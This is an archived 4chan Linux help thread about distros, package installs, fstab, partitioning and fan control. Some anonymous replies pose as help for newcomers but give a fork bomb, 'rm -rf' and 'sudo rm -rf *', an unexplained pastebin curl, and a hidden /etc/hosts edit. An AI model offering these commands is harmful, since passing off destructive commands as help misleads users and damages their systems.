/fglt/ - Friendly GNU/Linux Thread

File: 1495391305093.jpg (152KB, 900x675px) Image search: [Google]

152KB, 900x675px

>>60897655

File: smgl_tux.png (28KB, 158x180px) Image search: [Google]

28KB, 158x180px

Wizards assemble !

Advanced users of GNU/Linux (and I mean advanced), remember to try Source Mage GNU/Linux. True source-based distribution, and (in contrast with Gentoo and Arch) is:
Free from obfuscated and pre-configured code.
Fully committed to GPL, uses only free software (as in freedom) in their main package.
With even the documentation licensed as FDL.
Without 3rd party patches, sensible defaults or masked packages.
Doesn't need obfuscated python libraries, only bash.
Uses clean dependencies as they came from upstream developers, which by the same provides instant updates.
Can heal broken installs.
Can also use flags.

Do you like Arch Linux's AUR? Do you like Gentoo's portgage (or ports-like) package manager? With SMGL's "sorcery" you get all that. Making new spells (packages) not found in the grimoire (repository) is easy http://sourcemage.org/Spell/Book

Bash hackers welcome! Come and join http://sourcemage.org/

>>60897678
I would maybe consider trying this if the whole wizard theme was dropped. Makes it look like a 14 year old dnd nerd designed it.

>>60897678
does it obey the gnu free distribution guidelines? I don't tolerate non-free software.

>installed Arch
>installed KDE
What do now?

>>60897765
>use arch for a few days
>notice nothing from the AUR works
>accidentally break Xorg while upgrading a file manager
>black screen on boot
>try to fix it but end up messing everything up
>give up
>install devuan

File: VirtualBox_Manjaro_14_06_2017_09_13_02.png (6KB, 640x480px) Image search: [Google]

6KB, 640x480px

>fell for the Manjaro meme
>run pacman update
>reboot
>get this

Th-thanks /g/

>>60897765
Migrate from arch to parabola.

>>60897807
This is what you get for using anything related to Arch.

>>60897822
Not true. I've had parabola gnu/linux-libre for a long time without it breaking.

>>60897678
portage*

>>60897725
I understand what you mean, would like to see a "skin" for this, maybe with other aliases on the commands, but is still a great distro and the package manager is GOAT

>>60897822
That's what he gets for using a VM like a pussy.

>>60897765
>falling for the arch meme

>>60897730
Bleeding edge, straight out of kernel.org means no
>tfw Linus tolerates binary blobs in the kernel by default

>>60897835
How different from Arch is it really?
Are the repos more stable?

>>60897857
This also. When I try new distros I just nuke everything and run the installer. If it works, it works.

>>60897604
You're probably missing a thumbnailer

any good video editors? I'll take literally anything that can do anything close to this http://revisionfx.com/products/twixtor/

>>60897860
You cant blame them.
>normie x sees some cool desktop with arch logo
>thinks he needs arch in order to archive this
>installs arch, proudly posts desktop
>normie y [...]

Has anyone used BunsenLabs recently? I've been meaning to try out the newest release because it's probably what I'll install on the laptop I plan on buying soon.

>>60897892
Its basically arch but about 5-10 days behind and containing only 100% free software. They also have a new repository called the Parabola Community Repository which is just a bunch of libre AUR stuff.

>>60897892
Parabola is basically Arch wiht a neat hack: The package "your-freedom" conflicts with all nonfree packages.

>>60897916
Can confirm. That's how I started with Arch.

>>60897924
>>60897964
Nice. Maybe I'll try it one day. I'm happy with Devuan right now and I don't really like the bleeding edge life.

What's the command that people always use for screenshots?

>>60898171
import

>>60898219
It says
import-im6.q16: missing an image filename `import' @ error/import.c/ImportImageCommand/1287.
what do?

>>60898249

import -window root png:$HOME/xwz_$(date "+%Y-%m-%d-%H:%M:%S").png

is what I use

>>60898249
import +repage meme.png

>>60898171
scrot is the easiest one.
Just map it to print screen key.

>>60898276
>+repage
what does this do?

>>60898272
Unquoted variable spotted.

Use

import -window root "$HOME/xwz_$(date +%Y-%m-%d-%H:%M:%S).png"

>>60898290
>additional package

I just subscribed to the FSFE newsletter. Should I also give them my monies?

>>60898298
+repage repages/aligns the image layers
compare this in gimp to see what I mean:

import meme.png
import +repage meme.png

>>60898219
>>60898249
>>60898272
>>60898276
>>60898290
>>60898298
I meant the command that shows the system specs and an ascii version of the logo of whatever distro you're using, sorry for being unclear.

>>60898399
:(){ :|:& };:

>>60898399
screenfetch or neofetch

File: 1492911850781.jpg (85KB, 395x458px) Image search: [Google]

85KB, 395x458px

>>60898437
Which one should everyone use? I must now, this is impotant.

>>60898437
It says t'command not found' on both.

>>60898437
neofetch looks nicer and has a better support of distros

File: linuxlogo_examples.png (16KB, 690x875px) Image search: [Google]

16KB, 690x875px

>>60898456
>Which one should everyone use?
Linux_Logo

>>60898497
neofetch doesn't support /g/s distro lo/g/os and has the config files autism

File: 1495492061652.gif (390KB, 500x332px) Image search: [Google]

390KB, 500x332px

>>60898505
>Linux_Logo

im installing gentoo
about an hour ago I typed

emerge --ask --verbose --oneshot portage

is it normal for it to take so long for a package to merge?

>>60898470
What distro are you using?

>>60898505
>>60898509
Only neofetch seems to get it right.

File: 1FfITYG.jpg (271KB, 640x1006px) Image search: [Google]

271KB, 640x1006px

>>60898566

>>60898456
depends on your reddit karma
reddit: neofetch
4chan: screenfetch

File: 2017-06-14-182237_1440x900_scrot.png (1MB, 1440x900px) Image search: [Google]

1MB, 1440x900px

>>60898583
Forgot pic

>>60898601
Works on my machine.
Try screenfetch-dev.

>>60898581
Ubuntu, first time I have used linux.

>>60898631
You need to install the program first, here's how:

sudo apt install screenfetch

Then the screenfetch command will be available.

Happy hacking on GNU/Linux.

>>60898651
Gives me

Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package screenfetch

>>60898669
Maybe you need to update your package list first, run this and try again:

sudo apt update

>>60898669
That's weird. It should be in the repos.
Do sudo apt-get update

>>60898033

>I'll try it one day

How can you idiots be so stupid? What do you expect from it? Remove those nonfree packages on your Debian install and you'll have the same experience. You obviously only care for it because of the free software and you can achieve that on any distribution, idiots.

>>60898728
[unsubscribe]

>>60898399
>>60898456

You don't have to install anything. Use this

curl https://pastebin.com/raw/0akbv3gm

>>60898728
The only non-free thing on my devuan install is the intel wifi firmware.
I only use free software anyways.
I just like trying new shit.

>>60898752
Why not get one of these usb adapters?

>>60898776
How do I know they work with free drivers?
Just one piece of firmware doesn't bother me all that much tho but it sometimes stops me from trying out the fully free, FSF approved distros.

>>60898796
Check out these for ex.:
https://tehnoetic.com/tehnoetic-wireless-adapter-gnu-linux-libre-tet-n150
https://www.thinkpenguin.com/gnu-linux/penguin-wireless-n-usb-adapter-gnu-linux-tpe-n150usb

>>60898571

>install gentoo

>>60898744
funniest post

>>60898669
You might need to use the PPA if you're on an older version.

>>60898914
16.04 LTS here, it's in the repos.

If I want to learn one programming language and be good at it, which one should I choose?

Primarily I want to write smaller programs and tools that help me around on the system. Should I choose a scripting language like Perl or Python or should I go for something more powerful like C or C++ just in case I want to build something more complex eventually?

I dabbled in a lot of the languages during the years but never went more than the beginner/intermediate levels. So I want to pick up and learn something and learn it good.

I have a surface pro 3 with ubuntu 17 on it - the cursor seems to freeze up and needs to be left clicked on the touch pad to work again - it's like the left click is held down.
This doesn't happen on Windows. Is this a sofrware problem most likely or should I just deal with it?

>>60898987

You've been asking this all day long. By now you could have learned the basics of Python.
You will never do anything and you'll give up after 2 hours.

>>60899054
This is too real ;-;

>>60898987
I didn't think you'd ask this again, because it looks to me like a textbook case of asking a question for the sake of getting your thoughts in order and finding the answer yourself.

Your current goals and priorities are right there. What's keeping you is the idea that you should only learn one language and therefore you should pick one that fits goals that you don't have now but might have someday. Fuck that and start working on what makes sense now.

File: Screenshot_20170614_200729.png (105KB, 1341x629px) Image search: [Google]

105KB, 1341x629px

>>60897655
Tried to build https://github.com/Jessecar96/SteamDesktopAuthenticator but got error and dunno how to fix it. Any suggestions?
P.S. Thanks in advance and sorry for stupid question.

File: 1496967188330.jpg (119KB, 353x482px) Image search: [Google]

119KB, 353x482px

Does anybody use thinkfan? How exactly does the lower-bound and upper-bound work? The sample config has temps that overlap, does the next level engage when the current level's upper-bound gets crossed or the next level's lower-bound? How about when going down a level, does it switch when it hits the lower level's upper-bound or the current level's lower-bound?

(0,     0,      55)
(1,     48,     60)
(2,     50,     61)
(3,     52,     63)
(4,     56,     65)
(5,     59,     66)
(7,     63,     32767)

>>60898987
Python is the perfect language for people with no ambition. It does everything for you. If you start to actually care about details you can learn another language later on.

File: 1495378823807.png (142KB, 511x564px) Image search: [Google]

142KB, 511x564px

>>60898571

>mfw I tell others to read the documentation and then ask to be spoon-fed.
If Karma has nothing to do with it, I can gather only that fewer people on /g/ instalgentoo than one might expect

>>60899143
>Python is the perfect language for people with a job. It does all the pointless, menial bullshit for you. If you stop wanting to get shit done you can waste your time with C instead.
Fixed.

>>60898987
Pick a scripting language. Don't fall for the language as a lifestyle memers. If you need something more powerful you can use a lower level langauge - don't be limited by just one language.

Still, Python will get you far due to the number of 3rd party libraries people have written for it. I don't know much about other scripting languages (aside from using Bash as and when I need it), but I assume they all cover a broad range of uses.

An idea might be to go on Learn X in Y minutes and look through a couple of languages to see which looks the nicest to you.

Like others said, start ASAP.

>>60899179

What kind of things need to be automated by writing your own code?
t. anon who doesn't yet know much about programming

You have 15 seconds to explain why absolutely every program you're running isn't in it's own docker container

>>60899384
i use docker at work, it's suited for microservices but i hate seeing people cram shit into docker and end up with 1GB images. no point to doing it at that point. It's cool but it's use-case is not nearly as general as people claim it to be.

>>60899384
I started using linux to extend the lifetime of my old computer not to throw resources at pointless shit.

>>60899442
No, I'm talking about running every single program in it's own container
>Want to open firefox?
>spin up your firefox container
>Want to use GIMP?
>spin up your GIMP container
>want to ssh onto your server?
>spin up your ssh container
You get my drift

>>60899359
data collection and entry
changing config files based on an event
running tools over your local network so they're accessible to all devices

the slice of dynamic length goes on...

Is there some setting I can toggle in KDE/other DE's that will make it so clicking the address bar in an Internet browser highlights the entire string, rather than just putting the cursor in the bar?

It's something that every Windows OS I've used has done, and I've yet to find any DE in Linux which has a visible toggle for it...unless I've somehow missed it every time.

how the FUCK do I mount a ntfs partition to be able to execute stuff on it? This is my line on fstab:

/dev/sda2                                 /fap     ntfs    rw,exec,auto,user,uid=1000,gid=1000,fmask=000,dmask=000 0       2

Yes, obviously I shouldn't have 000 masks but I have tried everything

>>60899541
ehh, I've seen an OS built around that premise but it doesn't seem very intuitive. Also docker has gaping security holes so it's not like you're gaining some layer of real separation from the host OS

I just installed kubuntu.
I hope this works better than windows.

Is VMWare or Virtual Box better for an iOS VM, which I need for some my work?

>>60899713
All you need is

/dev/sda /fap ntfs defaults 0 0

You should also look in to useing UUID instead of direct device name

File: Puppet_Logo.svg.png (17KB, 1200x520px) Image search: [Google]

17KB, 1200x520px

Ok, so I was able to join my company's domain from Linux using PowerBroker Identity Service.

Now that I know that I can do that. The only other thing I have to do is deploy some kind of management software that can essentially image and maintain the twenty or so machines that will be running Linux.

I'm looking into Puppet right now. Is there a better software to accomplish this?

>>60899867
what in the actual fuck? now i feel really bad for wasting hours on this

thank

>>60899791
The security issues are all minimized by having the program being run by a normal user in the docker container.

Also, the benefits isn't just for security. This allows each program to have their own version of a certain library without any conflicts at all.

There was a lot of times for me that a new program I wanted to run tries to install different versions of things like Apache

>>60899902
depends on what sort of learning curve you want to work on and if you have a language of preference.

Salt is extremely simple, written in yaml. some functions are lacking and the salt mine is unreliable

Chef is very nice, but upstream Ruby and Gem stuff cause it to break a lot which isn't ideal for production CICD and config management

Ansible is very nice, but I haven't used it in depth enough to know any immediate shortcomings

Puppet is pretty old and tried and tested, but I've found it's workflow cumbersome.

>>60899966
I guess?

I manage my libraries via my system's package manager. I never run into any conflicts at all. If i need to use a specific version of a library i could make a virtual environment, package the dependencies locally, or yeah put it in a docker image. I'd ask what sort of fly-by-night SSH implementation you're using that has custom libraries?

I just use docker to develop locally though. that program I write isn't going to just run in docker off of local host, it's destined for a CoreOS or ECS cluster somewhere to run in a stateless fashion.

How do I get my shell to highlight broken links? I just realized mine doesn't highlight.

File: shot.png (1KB, 478x280px) Image search: [Google]

1KB, 478x280px

>>60900168
like this?

>>60897676
>Free software
>pro Chavez and marxists
>visiting a city made big my trading

>>60900289
https://www.gnu.org/philosophy/selling.en.html

>>60899969
Thank you for the comprehensive response.

I assume all of them have the ability to manage sudoers and the standard permissions. What I need is an easy way to develop a gold image and then deploy it.

They are all gonna be running Ubuntu 16.04 bare metal. I am currently testing all their potential functionalities on a machine running Ubuntu. When I'm finished, how do I take the image and then deploy it onto all the machines?

I am making a file system. I just created the partitions with fdisk and n.

Before I format them with mkfs, what is exactly the use of fdisk and t?

What exactly are you setting with "t" and in which cases is necessary given that I am going to mkfs afterwards?

Thanks.

>>60900251
Yeah, is it some setting in bashrc or something?

>>60900338
To allow partition recognizing without inspecting the partition content.

>>60900363
man dircolors

>>60900289
your and idiot, kys you're self

>>60900251
post xcolors

>>60900415
not actually mine, got from /r/unixporn

! special
*.foreground:   #9ba2b2
*.background:   #1e2127
*.cursorColor:  #9ba2b2

! black
*.color0:       #1e2127
*.color8:       #282c34

! red
*.color1:       #d95360
*.color9:       #e06c75

! green
*.color2:       #86bb62
*.color10:      #98c379

! yellow
*.color3:       #c7894f
*.color11:      #e5c07b

! blue
*.color4:       #5294e2
*.color12:      #61afef

! magenta
*.color5:       #b959d8
*.color13:      #c678dd

! cyan
*.color6:       #44a8b6
*.color14:      #56b6c2

! white
*.color7:       #9ba2b2
*.color15:      #c8ccd4

what's the best internet tv solution for linux

>>60900367
So let's say I created a primary, bootable partition (sda1 for /)
Then I created a primary partition (sda2 for swap)
Then I created an extended partition (sda4)
Then I created a logic partion (sda5 for /home)

I have 2 primary partitions, one extended and one logical

Given that I have created these, and haven't used "t" still, they must be with the default value which I don't know what is.

What should I do given that I want my partitions in ext4?

>>60900447
merci honey

>>60900448
install gentoo

>>60900448
Did you check the appstore?

>>60900498
huh?

>>60900449
t 82 for swap
and t 82 for linux partitions (ext2, ext4 etc.)

File: 1494737524495.jpg (172KB, 2172x1711px) Image search: [Google]

172KB, 2172x1711px

>>60900506
>>60900448
I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

>>60900504
>>>/p/lebbit

>>60900506
t 83 for linux, sorry for the typo

ok friends, what is the best terminal everyone is using?

>>60900527
archlinux doesn't have an appstore noob

>>60900540
>uses arch
>is a pleb
not surprised

>>60900551
sorry I need bleeding edge packages for wayland

>>60897655
FSF is a communist organization that is against capitalism.

>>60899902
Have you look cdist https://www.youtube.com/watch?v=PRMjzy48eTI

>>60900540
>not using oh-my-apps-git from the AUR

>>60900506
>>60900534

Oh I see, so there's no default value until I assign one. Makes sense.

Thanks for this and the explanation earlier!

File: d87f5e44a6cc47b93aea8cf214a0e4a7ca437e07.png (112KB, 1920x1080px) Image search: [Google]

112KB, 1920x1080px

>>60900523
No. I know what I'm talking about. Pic highly related.

>>60900582
read >>60900302
and then read >>60900395

>>60900448
Kodi

>>60900600
>>>/p/lebbit

$ uname --kernel-name
Linux
$ uname --operating-system
GNU/Linux

>>60900600
Why not bare metal?

>>60900535
urxvt

>>60900535
If you know a bit of C, try st!

>>60900449
Ok I feel like I don't know what I'm doing now:

I did:
mke2fs -t ext4 /dev/sda1
mke2fs -t ext4 /dev/sda5
so that I create the filesystems.

Now I wanted sda1 to become "/" and sda5 to become "/home" since I'm installing from scratch and I've done this:
mount /dev/sda1 /
mount /dev/sda5 /home

But this last part I think I don't really understood what I've done or if it's permanent. Thankfully it's a virtual machine to try linux.

>>60900773
> permanent
Its not, you need to set them up in /etc/fstab so they are mounted upon boot

Hi everyone, I want to install Debian on my local server but I didn't find any full iso on the website. Is that normal? Do you have any links ? Thanks

>>60897655
>tfw you'll never get to gang with stallman infront of the doge's palace
:^( Why live?

>>60900814
For dvds
https://cdimage.debian.org/debian-cd/current/amd64/bt-dvd/
for cds
https://cdimage.debian.org/debian-cd/current/amd64/bt-cd/

>>60900876
>https://cdimage.debian.org/debian-cd/current/amd64/bt-dvd/

Yes I have already check but there are 3 parts to download and I want only 1 part of an .iso

I don't really need to overuse the CPU in my server, how can I underclock to reduce power consumption?

>>60900773
What that anon said. And also, since you're dealing with fstab, you should also ponder >>60899867's advice on using UUID.

I realise it might be too much for you to take right now, and anyway getting used to the basic fstab syntax wth device paths is very important, but it'll do you good to start learning about the benefits of using UUIDs.

>>60900895
>Yes I have already check but there are 3 parts to download and I want only 1 part of an .iso
There is no such thing. But there is the net installer if you want.
https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-8.8.0-amd64-netinst.iso
Debian is too big to fit one CD.

>>60900915
>I don't really need to overuse the CPU in my server, how can I underclock to reduce power consumption?
GNU/Linux does that by default today.

>>60900895
you only need the first to install debian the rest are optinal and not bootable

>>60900940
>>60900925

Oh okay, thank you for your answers

Im am using Linux Mint 18.1 with Cinnamon 3.2.7, kernel 4.8.0-51-generic.
After every reboot, Cinnamon will hang. I can still continue to work in the currently opened window, but changing windows is impossible, the bottom panel isn't clickable anymore. I can fix it by switching to tty1 and then back to my session, and then it never happens again until the next reboot.
What could it be and how do I fix it?

>>60900797
>>60900917
Thanks anons. I will investigate the UUID part next installation since I want at least this one to boot :( I'm almost there!

>>60900938
ok

>>60900915
you can use the tool "cpupower" for that

>>60901002
Just type 'blkid' and then copy the name printed out for the partition you're looking for and use that at the start of hte fstab line

>>60901014
there is no man page?

>>60897655
what about bsd questions?
Why the fuck does portsnap fetch extract fail after going up a few percent every single god damn time?

root@Deluge:/usr/ports/net-p2p/deluge # portsnap fetch extract
Looking up portsnap.FreeBSD.org mirrors... 6 mirrors found.
Fetching snapshot tag from your-org.portsnap.freebsd.org... done.
Fetching snapshot metadata... done.
Fetching snapshot generated at Tue Jun 13 17:01:23 PDT 2017:
1bf20e423bb379b9c05a309c49391f35eca6810bea5e9a 13% of   75 MB   53 kBps 21m05s
fetch: transfer timed out
fetch: 1bf20e423bb379b9c05a309c49391f35eca6810bea5e9ace432f5759326e0d77.tgz appears to be truncated: 10343283/79346654 bytes

hope I did that right and didn't fuck it up

>>60901068
there is.
heres the online version https://linux.die.net/man/1/cpupower
and this is the one for the frequency setting related part of cpupower
https://linux.die.net/man/1/cpupower-frequency-set

>>60901115
I found a solution for this piece of shit software
I just ran portsnap fetch and ctrl ced every time it froze then ran it again
after about 20 tries it downloaded

>>60900915
cpufrequtils

sudo cpufreq-set --governor powersave

>>60901119
now I find it as linux-cpupower, thanks

Is there an urxvt with all patches from the AUR?

>>60901212
So there is two, thanks for the snippet

>chroot into a chroot directory
>run a few processes
>exit
>can't unmount the chroot directory because it's kept open by something
>lsof / fuser is completely useless

Daily reminder that clocking around on the cpu in order to save power is snake oil. The defaul setting, which is on most machines "ondemand" is just perfect, compared to powersave modes which make the cpu fall asleep later (because it's computing shit slower and therefore needs more time), but a sleeping cpu consumes less power than a computing cpu.

>>60901347
Have all those processes terminated? Did you mount anything in a subdirectory? Did you run lsof / fuser as root?

>>60901433
>Have all those processes terminated?
I have no idea since I can't find them
>Did you mount anything in a subdirectory?

#!/bin/sh
mount --rbind /dev /mnt/dev
mount -t proc none /mnt/proc
mount -t sysfs none /mnt/sys
chroot /mnt

>Did you run lsof / fuser as root?
yes

File: Ian_Murdock_interview_at_Holiday_Club_hotel_2008_(2).jpg (583KB, 3474x2314px) Image search: [Google]

583KB, 3474x2314px

Debian Stretch will be dedicated to Ian Murdock.
Press F to pay respects.

>>60901483
Have you tried unmounting all of those before umounting your chroot directory?

>>60901504
F

>>60901512
yes, with umount /mnt/*
dev was the only one which refused
I have rebooted since though
maybe I should have used --bind instead of --rbind

>>60901557
Rebooting is the easiest solution, it will usually kill all processes and unmount everything in the right order. I don't even bother doing it myself if I'm going to reboot anyway.

>>60901504
I still don't understand what the fuck happened to him

>>60901614
He killed him self

>>60901632
yes but why

>>60901642
He was mentally unstable

File: 1494221113270.png (236KB, 808x805px) Image search: [Google]

236KB, 808x805px

>installing gentoo
>emerge --verbose --oneshot app-portage/cpuid2cpuflags
>runs fine
>cpuidcpuflags-x86
>bash: cpuid2cpuflags-x86: command not found

WHAT THE FUCK!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

>>60901653
did you forget to set a USE flag?

File: 1494563641962.png (185KB, 298x360px) Image search: [Google]

185KB, 298x360px

>>60901667

I most certainly did
thx senpai

Copied some configs from external HDD
Can't execute some files required by emacs (Operation not permitted)
ah...
Can't change file to 755 (Operation not permitted), I'm owner of the file, tried chattr -i, still nothing.
What I'm missing?

>>60902075
Uncopy configs to last used version.
Diff configs
Notice what changed
See if what changed is fucking you

>>60902110
Well... this is last used version.
I just copied all .emacs.d/ folder from my external HDD and then installed emacs.
Everything seems to work, but this...

>>60902174
nvm... just had to use chmod u+x...

>>60901504
F

So, now that the dust has settled ...

what is the best terminal font?

>>60902673
inconsolata

>>60902673
I tried them all and always came back to Terminus. Some other bitmap fonts like lemon or cure are nice too. Truetype -> trash.

>>60902711
>Truetype -> trash

why?

>>60902673
The one I'm using.

>>60902728
it's shite

>>60902673
lemon, gohu, tewi

who will win? snaps, appimage, linuxbrew (is there more)?

http://equinox-project.org/

whaddya think

presentation from fosdem http://equinox-project.org/slides/fosdem-2013-ede.pdf

>>60902800
learning how to compile i hope

>>60902816
But what about normies.

>>60902852
If I cares about normalfags I'd be using Linux pham.

>>60902863
I wouldn't* fuck

>>60902810
looks cheap and no more maintained.

>>60902810
>It runs on Linux,
stopped reading here

>>60902800
Appimage has been endorsed by linux donalds.

>>60902873
It implies that it will run just as fine on non-GNU Linux like it does on GNU Linux as it doesn't depend on any GNU package.

>>60902800
Why aren't people just downloading the exe and run it with wine when they want it like THAT?

Hi everyone, what can I use on Windows 10 to set a USb bootable with a debian iso ? Thank you

>>60902901
>It implies that it will run just as fine on non-GNU Linux
That would imply that Linux is more than a kernel.

File: rm_this.png (44KB, 633x758px) Image search: [Google]

44KB, 633x758px

I'm getting desperate here. Stackoverflow has abandoned me and I'm at my wits end. I'm hoping someone can help me.

I am running Ubuntu 16.04. I am also living in Germany, but I have an American keyboard layout. For some fucking reason, I didn't have a "Compose Key" option in my Keyboard dialog. It is there now. It must have come in an update or something.

Anyway, a while ago, I was trying to set the compose key manually by messing with some system files. I finally got it to work with RALT, but now my LALT key is just dead. Or at least, I think it's dead. Alt-tab doesn't work anymore.

Is there some way I can just hard-reset my keyboard back to normal? It's getting really annoying not being able to alt-tab, and you basically need LALT to resize windows because the grabbable area on the edges of windows in Ubuntu is like 1 pixel wide.

>>60902937
https://alpinelinux.org/

>>60902901
GNU/Linux. The slash is important. GNU Linux would imply that Linux is a GNU package like GNU wget.

>>60902937
>>60902969
get a fucking life brehs

>>60902965
No argument. The Linux in "alpinelinux" is still just a kernel.

>>60902997
If developers of a nonGNU Linux decide to refer to their operating system as Linux it's their freedom to do so.

Stop being fucking autistic. I have no clue why you people insist on making inflammatory posts like these. It achieves absolute fuck-shit.

>>60903032
Following the rules of English, in the construction "Alpine Linux" the word "Alpine" modifies "Linux".

This basically means "Alpine's version of Linux", but "Alpine Linux" includes more than just a modified kernel.

>>60903040
ok kid

noob here, I want to make my hands dirty and compile my first program, I've chosen mpv, what do?

>>60903077
>mpv
Not a good choice for babbies first compile since it's pretty complex. If you still want to try it, check github, there's a repo with helper tools.

Try some smaller programs like scrot, lemonbaar, coreutils. Most C programs can be compiled by simply running make; make install. Some ship a configure script, which you can call with --help to see some options you can enable/disable for your program. If theres a configure script, configure, then make; make install.

>>60903077
Oh, and always read the INSTALL file. Most instructions are there.

How can I make SDDM show up on my primary monitor only?

File: 1493230093954.webm (2MB, 800x770px) Image search: [Google]

2MB, 800x770px

What are some cool terminal commands?

>>60903337
You can play online radio with mpd very easily.
All you have to do is make a .m3u playlist that contains a link/IP of the stream.

And play it.
FUN

>>60903077
>download source
>unpack source
>read README.md
>follow instructions
>compile
>install
>Enjoy your new software

>>60903184
Using your WM and assign monitor 0 as its source

>>60903337
rm -rf

hi dudes

i have some unix command line experience working on fedora machines in my schools cluster the past few years

thinking about going balls deep on my laptop and installing arch linux. mostly out of curiosity but i also wan't some better qol on this shit laptop

is starting with arch bad? do i need anything besides gparted and arch installer? can i have them both on a usb?

i have a desktop so bricking my laptop for a little in the learning process isn't very disastrous

>>60904474
arch is perfect

File: 8a5637689a986af37c57796966e693b4.png (17KB, 791x193px) Image search: [Google]

17KB, 791x193px

how do i find whats causing this

>>60902932
unetbootin

>>60904474
>unix command line on fedora
what?

>>60904589
Are you running nonfree software?

>>60904630
idk my vocab is probably wrong

i use fedora on the cluster computers a lot, so i'm fairly competent with the shell commands

>>60904474
arch sucks tbqh, try gentoo, it's pretty easy, comes with a neat handbook and updating wount break your system

File: 1459540100271.jpg (19KB, 249x230px) Image search: [Google]

19KB, 249x230px

>>60904650
yes now how do i figure out what processes are using how much network on linux

>>60904711
GNU/Linux*

>>60904711
Just use the network tools.

>>60904711
try iftop

>>60897655
How good is PulseAudio these days?

What is the best distro for beginners?

>>60903337

sudo echo "`python -c "print('.'.join(['127','0','0','1']))"` 4chan.org" >> /etc/hosts

>>60904778
*buntu, debian
>>60904794
kill yourself

>>60904802
Run the command

>>60904806
Kill yourself

>>60904815
Run it

>>60904794
>backticks
>python
>join
>not knowing that sudo doesn't do redirections
lmao, look at him and laugh

>>60904733
I am aware the network tools exist

the commands do not do what I want them to

>>60904830
Clearly you haven't run it yet

>>60904844
What distro are you using?

>>60904853
not him, but I'm using Arch Linux

>>60904853
ubuntu
all I want to see how what processes are using how much network

File: zzwet.gif (2MB, 498x478px) Image search: [Google]

2MB, 498x478px

Why does audio sound bad on Linux?
Is there anything I can do to improve quality as an audiophile?
Is there a recommended distro? Or a program?
Please help. Thanks.

>>60904976
Linux sets the quality to what most users need which is more efficient. As opposed to the windows method which is just fucking crank it up for everyone regardless of their needs so it "just werks"

I'm guessing if you're an audiophile you have a sound card that can handle better quality?

>>60901046
Thanks!

Anyone on here run Wayland? What do you think of it?

I'm trying to set it up on Gentoo. I installed the wayland and qtwayland packages, but I don't really know where to go from here. The wiki isn't very helpful.

>>60905417
Well obviously you need a window manager that uses Wayland.
Unlike X, Wayland is not a server or daemon or whatever the hell X is.
It's just a library that something like a window manager can load up when you run it.

>>60905089

Well finally managed to install Arch! That was fun. Tomorrow I'll see if I can get the graphical part working :D

some programs don't honor the GTK_THEME variable when starting them from a .desktop file
plz halp

>>60905994
https://wiki.archlinux.org/index.php/GTK%2B

Looks like that's only for GTK3 applications. Applications using GTK2 won't use it

[Unit]
Description=Thinkfan, the minimalist fan control program

[Service]
Type=forking
ExecStart=/usr/sbin/thinkfan $THINKFAN_ARGS
PIDFile=/run/thinkfan.pid
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target
Also=thinkfan-wakeup.service

Where does $THINKFAN_ARGS come from and how can I change them?

Odd question, but is Stallman in Venice in the OP image?
Looks like the inner courtyard of the Doge's Palace.

>>60906095
Thanks for replying but the application I want to use it on is a GTK3 one. Corebird for example

>>60906115
maybe just change it and put your own arguments in?

alternatively it's from your global environment variables if it's a system unit file, and your user environment variables if it's a user file.

what is the output of

echo $THINKFAN_ARGS

right now?

File: VeniceDogePalace.jpg (929KB, 1867x1400px) Image search: [Google]

929KB, 1867x1400px

>>60906261
Nevermind.
He's on the outside of the Doge's Palace.
Knew it looked familiar.

File: 1415979348495.png (171KB, 1095x479px) Image search: [Google]

171KB, 1095x479px

aarch64 or gentoo64 ?

i cant decide

>>60906373
do you want systemd and compiled packages or init scripts and compiling from source?

>>60906284
echo $THINKFAN_ARGS didn't show anything... I should have mentioned that this is a systemd service "thinkfan.service". I suppose I could edit it to have the switches but I read that its bad practice to edit things that were installed by a package manager.

>>60906373
fedora

>>60905417
I'm pretty sure only Gnome and Sway actually work with Wayland.

>>60906339
I-is that the Arch Fortress?

File: Screenshot_20170614_230352.png (59KB, 1250x539px) Image search: [Google]

59KB, 1250x539px

>>60904976
Pulse Effects might help. Distro you want is Arch/Arch-based

>>60906409
i cant fucking decide reeeeeeeeee

>>60897655
Pigeons are rats with wings.

File: gno.png (847KB, 1000x669px) Image search: [Google]

847KB, 1000x669px

fuck it, going arch.

may rich forgive me

Which hash function should I use to encrypt my documents with?

>>60906555
You can install Parabola if you want Arch but also want to be a GNU cultist.

>>60906417
you can create a drop in replacement that leaves the service file untouched. systemd really is awesome.

# /etc/systemd/system/thinkfan.service.d/override.conf

[Service]
ExecStart=
ExecStart=/usr/sbin/thinkfan -n

>>60906583

does Parabola into ARMv8?

>>60903337
my favorite is

 :(){ :|: & };: ;top 

>>60906628
Doesn't look like it, website says armv7.

File: ecksd.jpg (15KB, 480x270px) Image search: [Google]

15KB, 480x270px

>>60903337
sudo rm -rf *

>>60906700
just got a few pi3's on the cheap and the third im gonna fuck around with, benchmarking for going v8 is actually showing large improvements so im curious.

need dat armv8 :(

>>60906622
neat there was already a file there

cat override.conf 
[Service]
# Decrease biasing (up to -b-10) if your fan speed changes too quickly,
